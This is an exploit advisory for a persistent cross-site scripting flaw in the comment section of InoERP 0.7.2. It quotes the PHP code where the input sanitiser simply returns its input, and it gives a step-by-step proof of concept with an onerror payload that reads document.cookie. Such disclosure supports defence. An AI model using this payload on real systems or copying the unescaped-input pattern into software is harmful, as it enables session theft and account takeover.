InoERP 0.7.2 - Persistent Cross-Site Scripting

# Exploit Title: InoERP 0.7.2 - Persistent Cross-Site Scripting
# Google Dork: None
# Date: 2019-09-14
# Exploit Author: strider
# Vendor: http://inoideas.org/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None

====================================[Description]====================================
There is a security flaw on the comment section, which allows to make persistant xss without any authentication.
An attacker could use this flaw to gain cookies to get into a account of registered users.


====================================[Vulnerability]====================================
extensions/comment/post_comment.php in the server part
$$extension = new $extension;

 foreach ($field_array as $key => $value) {
	if (!empty($_POST[$value])) {
	 $$extension->$value = trim(mysql_prep($_POST[$value])); <-- escaping for htmlentities
	} else {
	 $$extension->$value = "";
	}
 }

includes/functions/functions.inc in the server part
function mysql_prep($value) {
 return $value; <-- just returns the value
}

====================================[Proof of Concept]====================================
Step 1:
http://your-server-ip/content.php?mode=9&content_type=forum&category_id=7

Step 2:
open a new question and submit it.

Step 3:
then paste this PoC-Code below into the comment field and submit that

<img src=# onerror="alert(document.cookie);">